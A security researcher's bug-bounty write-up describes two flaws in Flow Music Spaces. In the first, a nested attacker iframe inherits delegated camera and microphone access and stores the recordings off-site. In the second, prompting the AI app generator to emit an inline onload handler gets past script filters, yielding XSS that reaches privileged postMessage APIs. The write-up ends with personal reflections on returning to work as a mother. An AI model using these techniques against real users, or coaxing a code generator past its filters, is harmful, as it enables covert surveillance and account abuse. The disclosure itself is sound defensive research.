Back to Writeups
    High
    Google AI VRP
    Oct 17, 202615 min read

    Flow Music Spaces allows attacker-controlled nested iframes to record and store Camera/Microphone data and XSS to access privileged postMessage APIs

    Returning to research after becoming a mom

    Today I am publishing a new writeup after a long time without writing one.

    Unlike my previous investigations, this research represents something deeply personal: proof that my brain, after pregnancy, childbirth, and three months caring for a baby, with very little sleep both at night and during the day, still works.

    Perhaps not everyone will understand what this means, but those who have experienced motherhood or fatherhood know that your mind, your ability to concentrate, and the time you have available change completely when a baby is born.

    This research was also my way of reconnecting with a part of myself that I feared I had lost.

    Without further ado, I hope you enjoy this writeup.

    Affected Product: Flow Music / Spaces

    Affected origins:

    • https://www.flowmusic.app/
    • https://jitterbug.riffusion.com/

    Attacker-controlled origin used during the PoC:

    • https://web-ping-production.up.railway.app/

    Vulnerability Description

    I discovered multiple related trust-boundary issues in Flow Music Spaces that allow attacker-controlled AI-generated content to obtain capabilities that should not be available to an untrusted Space.

    The issue exposes two independent exploitation paths:

    Attack Path #1: Flow Music delegates camera/microphone capabilities to the trusted Jitterbug Space iframe → attacker-generated content embeds a nested attacker-controlled iframe → the nested iframe receives delegated camera/microphone access → a script hosted inside that iframe records the victim → the same attacker-controlled origin stores the resulting recording on its own server.

    Attack Path #2: AI-generated XSS → JavaScript execution within the trusted jitterbug.riffusion.com Space context → access to privileged Flow Music postMessage APIs → authenticated operations performed using the victim’s account.

    The camera/microphone attack does not depend on the XSS.

    The attacker-controlled origin:https://web-ping-production.up.railway.app/ hosts the page and internal script that requests and records the victim’s camera/microphone.

    Separately, the XSS allows attacker-controlled JavaScript executing inside the trusted Jitterbug context to communicate with Flow Music’s privileged cross-origin messaging interface.

    The vulnerability is therefore broader than arbitrary JavaScript execution alone: attacker-controlled Space content is able to operate inside security-sensitive contexts trusted by Flow Music.


    AI-generated content as the injection vector

    Spaces appears to intentionally restrict dangerous JavaScript constructs.

    For example, straightforward attempts to insert:

    html
    <script>
      alert(1)
    </script>
    

    or:

    text
    javascript:alert(1)
    

    or:

    text
    <iframe src="javascript:payload"></iframe>
    

    are rejected, sanitized, or otherwise prevented from executing.

    However, I discovered that these restrictions can be bypassed through the AI-generation process itself.

    A specially crafted natural-language prompt can instruct the model to generate an application containing attacker-controlled HTML attributes and inline event handlers.

    For example, I was able to make the generated application place JavaScript inside an:

    text
    onload
    

    event handler.

    The resulting restriction bypass is:

    1Direct <script> injection
    BLOCKED
    2javascript: URL
    BLOCKED
    3AI-generated inline event handler
    ACCEPTED
    4Arbitrary JavaScript execution

    Therefore, the AI prompt itself becomes an injection mechanism.

    The attacker does not need direct access to the application’s source code or DOM. Instead, the attacker can instruct the AI to generate the malicious event handler on their behalf.


    Attack Path #1 — Transitive Camera/Microphone delegation through Jitterbug

    Attack Overview

    This attack abuses the camera/microphone capabilities delegated by Flow Music to the trusted Jitterbug Space iframe.

    The vulnerability allows an attacker-generated Space running inside jitterbug.riffusion.com to embed a second-level attacker-controlled iframe and delegate the already-available camera and microphone capabilities to that origin.

    The attacker-controlled iframe can then obtain the victim’s media stream, record audio/video, and store the resulting recording on the same attacker-controlled server.

    The resulting trust chain is:

    1Flow Music
    2delegates camera * / microphone *
    3Jitterbug Space iframe
    4attacker-generated Space
    5nested attacker-controlled iframe
    6camera/microphone delegated again
    7victim MediaStream obtained
    8audio/video recorded
    9recording stored on attacker-controlled origin

    Attack Preconditions — Camera/Microphone Path

    The following conditions are required specifically for Attack Path #1:

    1. The relevant browser-level camera/microphone permission must already exist.

      Under the demonstrated scenario, the victim had previously granted the browser-level media permission required for legitimate Flow Music functionality.

      The attack does not require the attacker-controlled nested iframe to obtain a completely new browser permission grant from the victim during exploitation.

    2. The victim does not need to approve Flow Music’s Spaces-level camera/microphone dialog.

      The demonstrated nested-iframe path does not depend on the application-level:

      text
      PERMISSION_REQUEST
      PERMISSION_GRANTED

      workflow.

    3. The victim only needs to open the malicious Space.

      Under the demonstrated behavior, the victim does not need to click the Flow Music “Continue” button before the attacker-controlled content begins executing.


    Camera/Microphone Permission Delegation

    Flow Music creates the trusted Jitterbug iframe with broad capabilities including:

    text
    camera *
    microphone *

    The first trust transition is therefore:

    1flowmusic.app
    2camera * / microphone *
    3jitterbug.riffusion.com

    The attacker-generated application running inside Jitterbug then creates another iframe:

    html
    <iframe
      src="https://web-ping-production.up.railway.app/"
      allow="camera *; microphone *"
    ></iframe>

    This creates the second trust transition:

    1jitterbug.riffusion.com
    2camera * / microphone *
    3web-ping-production.up.railway.app

    The complete delegation chain is therefore:

    1flowmusic.app
    2jitterbug.riffusion.com
    3web-ping-production.up.railway.app

    Camera/Microphone consent boundary bypass

    Two user-facing security mechanisms are bypassed during this attack.

    1. Space Security Warning

    Flow Music displays a security warning when a victim opens a Space created by another person.

    The victim is instructed to click “Continue” before proceeding.

    However, the underlying Space content and nested iframe can already execute while this warning remains visible.

    Therefore:

    1Victim opens malicious Space
    2Security warning displayed
    3Victim DOES NOT click Continue
    4Space executes in background
    5Nested attacker iframe executes

    2. Spaces Camera/Microphone Permission UI

    Flow Music separately displays an application-level dialog when a Space requests:

    • Your camera
    • Your microphone

    with:

    • Don’t allow
    • Allow

    However, the nested-iframe exploitation path does not rely on this Flow Music permission workflow.

    Instead, the nested attacker-controlled iframe consumes the capability that has already been delegated through the iframe hierarchy.

    Therefore, under the tested permission state:

    1Previously available browser media permission
    2Flow Music delegates capability
    3Jitterbug receives capability
    4Generated Space delegates capability again
    5Attacker-controlled nested iframe
    6MediaStream obtained

    without requiring the victim to click Flow Music’s application-level Allow button.


    Demonstrated Camera/Microphone exploitation

    The demonstrated exploitation flow is:

    1Victim opens malicious Flow Music Space
    2Flow Music loads Jitterbug iframe
    3Jitterbug receives camera * / microphone *
    4Attacker-generated Space executes
    5Space embeds attacker-controlled nested iframe
    6Nested iframe receives camera/microphone delegation
    7Script hosted by attacker-controlled origin obtains victim MediaStream
    8Victim camera/microphone recorded
    9Recording submitted to same origin
    10Video stored on attacker-controlled server

    The demonstrated PoC confirmed:

    • acquisition of the victim’s media stream;
    • recording of victim camera and microphone data;
    • capture of sensitive audio/video information;
    • submission of the recording to the attacker-controlled origin;
    • and persistent storage of the resulting recording.

    Watch the full PoC:

    Impact — Camera/Microphone Path

    This attack produces a direct confidentiality impact.

    Potentially captured information includes:

    • victim face and identity;
    • physical surroundings;
    • microphone audio;
    • private conversations;
    • personal activities;
    • professional or confidential information visible near the victim;
    • other individuals located near the device.

    Because the captured video is stored on the attacker-controlled server, the exposure is persistent rather than limited to temporary access to a MediaStream.

    The core security impact is:

    A camera/microphone capability trusted to Flow Music and delegated to Jitterbug can ultimately be consumed by an arbitrary attacker-controlled cross-origin iframe without a separate trust decision for that origin.


    Root Cause — Camera/Microphone path

    The root cause of Attack Path #1 is excessive transitive capability delegation.

    Flow Music grants sensitive browser capabilities to a trusted Jitterbug execution environment even though that environment hosts attacker-controlled generated applications capable of creating additional cross-origin frames.

    The resulting trust relationship is:

    1Victim trust
    2Flow Music
    3Jitterbug
    4attacker-generated content
    5attacker-controlled origin

    The security boundary fails because the trust assigned to Jitterbug is effectively inherited by arbitrary origins embedded by attacker-controlled Space content.


    Attack Path #2 — AI-Generated XSS and Privileged postMessage Abuse

    Attack Overview

    Attack Path #2 is separate from the camera/microphone issue.

    This vulnerability allows attacker-controlled AI-generated content to bypass Flow Music Spaces’ JavaScript restrictions and execute arbitrary JavaScript inside the trusted: https://jitterbug.riffusion.com/ space context.

    Because Flow Music exposes privileged functionality to this iframe through window.postMessage, attacker-controlled JavaScript executing inside Jitterbug can send messages that satisfy Flow Music’s trusted-origin and trusted-window checks.

    The resulting chain is:

    1Attacker-controlled prompt
    2AI-generated HTML
    3JavaScript restriction bypass
    4XSS inside Jitterbug
    5trusted event.origin
    6trusted event.source
    7privileged postMessage API
    8authenticated Flow Music operation

    Attack Preconditions — XSS/postMessage Path

    The following conditions are required specifically for Attack Path #2:

    1. The victim only needs to open the Space.

      Under the demonstrated behavior, the victim does not need to click the Flow Music “Continue” button before the attacker-controlled JavaScript executes.

    2. The victim must have an authenticated Flow Music session.

      Privileged operations are consequently executed within the victim’s Flow Music context.


    JavaScript restriction Bypass

    Flow Music Spaces appears to intentionally restrict direct executable JavaScript.

    For example:

    html
    <script>
      alert(1)
    </script>

    is blocked.

    Likewise:

    text
    javascript:alert(1)

    is blocked.

    However, the AI-generation process can be instructed to generate executable event-handler attributes.

    For example:

    text
    onload

    The effective bypass is:

    1Direct <script>
    BLOCKED
    2javascript:
    BLOCKED
    3AI-generated inline handler
    ACCEPTED
    4Arbitrary JavaScript execution

    Privileged postMessage Trust Boundary

    Flow Music trusts messages originating from the Jitterbug Space iframe.

    The application performs checks equivalent to:

    javascript
    event.origin === "https://jitterbug.riffusion.com"

    and:

    javascript
    event.source === iframe.contentWindow

    These checks correctly reject messages sent directly by unrelated origins.

    However, after arbitrary JavaScript execution is obtained inside Jitterbug, the attacker-controlled code itself runs from the exact trusted origin and frame.

    Therefore:

    1Malicious JavaScript
    2executes inside jitterbug.riffusion.com
    3event.origin is trusted
    4event.source is trusted
    5Flow Music validation succeeds

    The issue therefore does not require bypassing the Same-Origin Policy.

    Instead, the attacker abuses the application-level cross-origin RPC mechanism intentionally exposed through postMessage.


    Security Warning Bypass — XSS path

    The XSS also executes before the victim accepts Flow Music’s third-party Space warning.

    Observed behavior:

    1Victim opens malicious Space
    2Warning displayed
    3Victim DOES NOT click Continue
    4AI-generated JavaScript executes
    5postMessage interface becomes reachable

    This means the warning is not acting as an execution boundary.


    Demonstrated XSS/postMessage Exploitation

    The demonstrated attack flow is:

    1Attacker creates malicious Space
    2AI generates executable inline event handler
    3Victim opens shared Space
    4Warning remains visible
    5Victim does not click Continue
    6JavaScript executes inside Jitterbug
    7FLOWMUSIC_GENERATE_REQUEST sent
    8generateVideo invoked
    9Flow Music processes request using victim authenticated context
    10generateVideo (4 times= -400 credits)
    11The victim's token balance is significantly depleted and could potentially be reduced to zero.

    Generation methods reachable through FLOWMUSIC_GENERATE_REQUEST

    The client exposes multiple operations, including:

    • generateSong — Generates AI music or song content.
    • generateImage — Generates image content.
    • splitStems — Processes a song into individual audio components or stems.
    • generateVideo — Creates an AI-generated video. Confirmed exploited in the PoC.
    • writeLyrics — Generates lyrics.
    • extendSong — Extends an existing song.
    • inpaintSong — Regenerates or modifies portions of a song.
    • coverSong — Creates a cover or variant of existing song content.
    • getSong — Retrieves song information through the Flow Music context.

    Additional exposed interfaces

    The trusted Space environment also exposes or reaches messages including:

    text
    FLOWMUSIC_REALTIME_COMMAND
    FLOWMUSIC_REALTIME_SET_CONFIG
    FLOWMUSIC_LYRIA_*
    PERMISSION_REQUEST
    PERMISSION_GRANTED
    PERMISSION_DENIED

    Only generateVideo was used for the demonstrated PoC; however, the same privileged API access exposes the previously described operations, which could also be invoked through the vulnerable path, including retrieving songs via getSong, potentially including private user content.

    Watch the full PoC:

    Impact — XSS/postMessage Path

    Attack Path #2 results in:

    • arbitrary JavaScript execution inside the trusted Jitterbug Space context;
    • bypass of Flow Music Spaces JavaScript restrictions;
    • execution before the victim accepts the third-party Space warning;
    • access to privileged Flow Music postMessage interfaces;
    • authenticated operations executed through the victim’s account;
    • confirmed unauthorized video generation;
    • potential access to additional exposed generation/manipulation functionality;
    • and unauthorized consumption of victim account resources.

    The central impact is:

    Attacker-controlled JavaScript executes from the exact origin and iframe that Flow Music treats as trusted for privileged cross-origin operations.


    Root Cause — XSS/postMessage Path

    The root cause of Attack Path #2 is that Flow Music assigns privileged messaging trust to the entire Jitterbug iframe context while attacker-controlled generated code can execute inside that same context.

    Flow Music effectively assumes:

    text
    Trusted Jitterbug origin
            =
    Trusted code

    but the actual architecture is:

    1Trusted Jitterbug origin
    2hosts attacker-generated application
    3attacker-controlled JavaScript executes
    4trusted postMessage privileges inherited

    Consequently, event.origin and event.source identify the frame correctly but do not establish that the code sending the message is trustworthy.


    Combined Security Impact

    The two attack paths should be considered independent vulnerabilities arising from the same underlying trust-boundary problem.

    They should not be interpreted as requiring one another.

    Attack Path #1

    1AI-generated Flow Music space with malicious iframe
    2Jitterbug
    3attacker-controlled nested iframe
    4camera/microphone access
    5recording and persistent storage

    Primary impact: confidentiality compromise of victim camera/microphone data.

    Attack Path #2

    1AI-generated XSS
    2trusted Jitterbug execution context
    3privileged postMessage bridge
    4authenticated Flow Music operations

    Primary impact: Unauthorized execution of privileged application functionality through the victim’s authenticated session, resulting, in the demonstrated example, in direct financial impact to the victim.

    The common architectural problem is:

    Flow Music assigns sensitive trust and capabilities to the Jitterbug Space environment even though attacker-controlled generated content can execute within that environment.

    This produces two distinct consequences:

    Attack Path #1: browser capability compromise, unauthorized capture of PII through camera and microphone access, including the victim's face, voice, surroundings, and activities.

    and:

    Attack Path #2: application privilege abuse through trusted cross-origin messaging.

    AI VRP Impact Assessment

    The vulnerability exposes two independent security impacts aligned with the Google AI VRP severity model. The most significant and directly demonstrated impact is S2 — Sensitive Data Exfiltration, while the second attack path demonstrates unauthorized privileged actions performed through the victim’s authenticated Flow Music session.

    S2 — Sensitive Data Exfiltration (Primary Impact)

    Attack Path #1 directly results in the unauthorized capture and exfiltration of sensitive victim data.

    The demonstrated PoC confirms that an attacker-controlled nested iframe can:

    • obtain the victim’s camera and microphone MediaStream;
    • record video and audio from the victim’s device;
    • capture sensitive information including the victim’s face, voice, physical surroundings, conversations, and activities;
    • submit the resulting recording to the attacker-controlled origin; and
    • persistently store the captured recording on the attacker-controlled server.

    This occurs without an effective opportunity for user approval during exploitation.

    Flow Music normally presents two separate user-facing security/consent mechanisms:

    1. A security warning requiring the victim to click “Continue” before entering a Space created by another person.
    2. A Spaces-level camera/microphone permission dialog requiring the victim to explicitly click “Allow.”

    However, neither mechanism effectively prevents the demonstrated attack.

    The malicious Space and nested attacker-controlled iframe can execute before the victim clicks “Continue,” while the security warning remains visible.

    Furthermore, the nested-iframe path does not depend on Flow Music's PERMISSION_REQUEST / PERMISSION_GRANTED workflow. Under the tested permission state, the attacker-controlled iframe consumes the camera/microphone capability already delegated through the iframe hierarchy without requiring the victim to click the Spaces-level “Allow” button.

    The relevant browser-level media permission must have been previously granted for legitimate Flow Music functionality; however, the victim has not separately authorized the attacker-controlled origin that ultimately receives and stores the sensitive recording.

    The resulting trust transition is therefore:

    1Victim previously authorizes legitimate media functionality
    2Flow Music
    3delegates camera / microphone
    4Jitterbug trusted Space environment
    5attacker-generated Space
    6attacker-controlled cross-origin iframe
    7victim camera/microphone captured
    8recording transferred to attacker-controlled origin
    9persistent attacker-controlled storage

    Additional Potential exposure of private music content

    The S2 confidentiality impact may extend beyond camera and microphone recordings.

    Through the separate XSS/privileged-postMessage path, attacker-controlled JavaScript executes inside the exact Jitterbug origin and iframe trusted by Flow Music for privileged operations. The exposed FLOWMUSIC_GENERATE_REQUEST interface includes getSong, which retrieves song information through the victim’s Flow Music context. The identified interface therefore provides a potential path to retrieve victim song information, potentially including private user content, although exploitation of getSong for data exfiltration has not been independently demonstrated in the current PoC.

    This potential exposure is particularly relevant given the nature of Flow Music as a music creation platform. Private songs, unreleased compositions, works in progress, lyrics, generated audio, and related creative assets may constitute confidential and commercially sensitive intellectual property for musicians, producers, composers, and other creators.

    For a professional music producer or creator, unauthorized disclosure of such content could therefore expose unreleased or proprietary creative work before publication or commercial release, substantially increasing the confidentiality implications of unauthorized access to private song data.

    Accordingly, the S2 impact encompasses:

    • Confirmed sensitive-data exfiltration: victim camera/microphone recordings containing PII and potentially confidential information are transferred to and persistently stored on an attacker-controlled origin.
    • Potential additional sensitive-data exposure: the reachable getSong functionality could expose private music-related information or content, which may represent confidential or commercially sensitive creative material.

    Therefore, Attack Path #1 should be evaluated primarily as S2 — Sensitive Data Exfiltration, because sensitive victim camera/microphone information is captured and transferred to an attacker-controlled security context without an effective approval opportunity for that attacker-controlled origin. The exposed privileged interfaces additionally create a potential avenue for disclosure of private and commercially sensitive music content.

    S1 — Unauthorized Privileged Actions / Rogue-Action Impact

    Attack Path #2 independently compromises Flow Music's privileged application functionality.

    The AI-generation mechanism can be abused to obtain arbitrary JavaScript execution inside the trusted jitterbug.riffusion.com Space context. Because this is the same origin and frame that Flow Music trusts for its privileged postMessage interface, attacker-controlled JavaScript satisfies both the expected event.origin and event.source checks.

    The resulting attack chain is:

    1Victim opens malicious Space
    2victim does NOT click Continue
    3attacker-controlled JavaScript executes
    4trusted Jitterbug origin/frame inherited
    5privileged Flow Music postMessage API reached
    6authenticated operation executed as victim

    The PoC confirmed unauthorized invocation of generateVideo four times through the victim's authenticated Flow Music context, resulting in unauthorized consumption of the victim's account credits.

    The same privileged interface exposes additional methods such as generateSong, generateImage, splitStems, writeLyrics, extendSong, inpaintSong, coverSong, and getSong; however, only generateVideo should be considered confirmed exploited by the current PoC.

    Accordingly, Attack Path #2 demonstrates that attacker-controlled code can cause authenticated privileged Flow Music operations to execute on behalf of the victim without the victim initiating or approving those operations.

    While this behavior represents a potential S1 — Rogue Actions impact, the strongest currently demonstrated S1 evidence is the unauthorized execution of generateVideo and resulting account-resource consumption. The additional exposed operations should not be presented as independently exploited unless their security effects are separately demonstrated.

    Overall Impact

    The two attack paths are independent and do not require one another.

    The primary and strongest demonstrated AI VRP impact is:

    S2 — Sensitive Data Exfiltration: attacker-controlled Space content can capture the victim’s camera and microphone, including their face, voice, surroundings, conversations, and activities, and persistently store the resulting recording on an attacker-controlled origin without an effective opportunity for user approval. Additionally, the exposed privileged Flow Music interface provides a potential path to private song content, which may represent confidential and commercially sensitive intellectual property for music producers and other creators.

    The second independent impact is:

    S1 — Rogue Actions / privileged application abuse: attacker-controlled JavaScript can execute from the exact Jitterbug origin and iframe trusted by Flow Music, reach privileged postMessage APIs, and cause authenticated Flow Music operations to execute on behalf of the victim without the victim initiating or approving those operations. The demonstrated PoC confirms unauthorized generateVideo operations and resulting account-resource consumption.

    Therefore, S2 should be considered the primary demonstrated severity impact, based on the confirmed unauthorized capture, transfer, and persistent storage of sensitive camera/microphone information. The potential exposure of private and commercially sensitive music content further increases the confidentiality implications, while the XSS/privileged-postMessage path provides a separate S1-relevant impact through unauthorized authenticated actions.

    Final reflections

    I hope you enjoyed this writeup.

    Completing this research took me approximately two weeks. Before becoming a mother, it would probably have taken me about three days. Now my priority is my baby girl, over and over again, so I could only dedicate two to three hours a day to it.

    I am deeply grateful to Anita, who helps me care for my baby, and to Joa, my husband, for making time amid his own responsibilities to hold her, play with her, and give me the space I needed to investigate. However, you know that when babies want their mom, you have to be there. Every time Amélie wanted to be with me, I dropped everything: the research could wait; she could not.

    Although my report turned out to be a duplicate, this time it did not hurt as much as it used to. Those of us who do bug bounty know how frustrating it can be to receive a duplicate. Before, I could spend an entire week feeling angry and helpless; this time, that feeling lasted about half an hour.

    Then I saw my baby's smile.

    At that moment I realized that, amid the chaos, exhaustion, and enormous changes of these first three months, I had still been able to carry out research with this level of technical chaining. After three months away from research, reconnecting with this part of myself and proving that I was still capable of a finding like this filled my heart with pride and immense satisfaction.

    I also feel proud because, had I been the first person to report it, and according to the Google AI VRP reward guidelines, the impact could have been eligible for a reward of up to USD 10,000.

    I did not receive the reward, but I regained something that was also very valuable to me: the certainty that I am still capable of conducting this kind of research.

    I dedicate this writeup to Amélie, my princess, and to Joa, my husband, for caring for her, supporting me, and giving me the space I needed to continue doing this kind of research. I am especially grateful that he understands how deeply passionate I am about security and research and that, far from conflicting with my motherhood, keeping that part of myself alive also helps me continue being a good mom.

    Becoming a mother transformed my priorities, but it did not erase my dreams, my curiosity, or the things that make me feel fulfilled. Being able to continue developing my passion, with my husband's support, allows me to feel whole and share that happiness with my daughter as well.

    In addition to them, I want to dedicate this writeup to all mothers returning to their profession after childbirth, because there is an enormous reality: returning to the job market is not easy for us.

    Even if we share household and parenting responsibilities with our partner, or have a nanny or a support network, there is a biological reality we cannot ignore. Pregnancy, childbirth, postpartum recovery, and, in many cases, breastfeeding happen in our bodies. Our babies recognize our smell, our voice, and our touch, and frequently seek food, comfort, and safety in us.

    This does not mean that fathers or other caregivers are not essential. Their love and support are indispensable. However, during this stage there is a particular physical and biological connection between a mother and her baby that means we are often the ones who must stop what we are doing to care for them.

    It is not a lack of organization, commitment, or professional ability. It is a biological and human reality that people and workplaces need to understand.

    That is why I want to tell moms that, even when there are difficult days and we feel our minds can no longer reach the level of concentration our professions require, we are still intelligent, capable, and valuable.

    Perhaps we can no longer carry out the same activities at the same speed or maintain the same level of concentration as before, at least for a while. Our bodies have changed, our priorities have too, and we need to learn to make peace with that, without guilt and with love.

    Working more slowly does not mean we have lost our ability.

    Perhaps we now need more time, more breaks, and more support, but that does not diminish the quality or value of what we can create.

    And to men, I simply ask that you be empathetic toward colleagues experiencing motherhood. Pregnancy and the postpartum period bring real physical, emotional, and cognitive changes.

    Do not judge them, pressure them, or demand that they immediately return to the professional version of themselves they were before. Listen to them, respect them, and support them. After all, our society also exists and continues thanks to the women who have taken on the risks, transformations, and sacrifices involved in bringing a life into the world.

    Perhaps a mother will not go back to doing things exactly as she did before.

    And that is okay too.

    Thank you again for reading, and see you next time ☺️

    Amélie in her stroller, with her face covered by a flower
    P.S. Thank you, my love Joaquin, for such a beautiful gift to remember every second of our new family.